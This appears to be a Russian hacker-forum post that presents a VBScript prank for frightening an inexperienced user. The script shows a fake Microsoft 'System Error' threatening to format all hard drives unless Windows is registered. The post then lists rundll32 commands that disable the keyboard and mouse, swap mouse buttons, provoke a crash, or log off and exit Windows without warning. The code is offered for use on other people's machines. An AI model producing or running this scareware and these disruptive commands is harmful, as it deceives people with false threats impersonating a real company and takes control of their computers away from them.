|
Заезженная шутка
Есть очень известный способ попугать ламера.
Код:
If Day(now)>15 then
Hacker=msgbox("ВНИМАНИЕ! Компания Microsoft ввела новую программу против
пиратства. Если вы не зарегестрируете данную версию Windows до конца
месяца, то будет произведено форматирование всех жестких дисков!
Дополнительную информацию вы найдете на официальном сайте компании
MicroSoft.",48, "System Error")
sub executer(exe,wait)
set wshshell=wscript.createobject("wscript.shell")
exec=wshshell.run(exe,wait)
end sub
call executer("hh.exe windows.chm", true)
end if
Ещё есть разные способы вызова команды call:
rundll32 keyboard,disable - отключить клавиатуру;
rundll32 mouse,disable - отключить мышь;
rundll32 user,swapmousebutton - поменять местами клавиши мыши;
rundll32 user,disableoemlayer - спровоцировать сбой (обрати внимание!);
rundll32 shell32,SHExitWindowsEx 0 - завершить работу текущего пользователя;
rundll32 krnl386.exe,exitkernel - выход из Windows без любых
сoобщений/вопросов;
rundll32 shell32,ShellAboutA Info-Box - показать окно About Windows.
|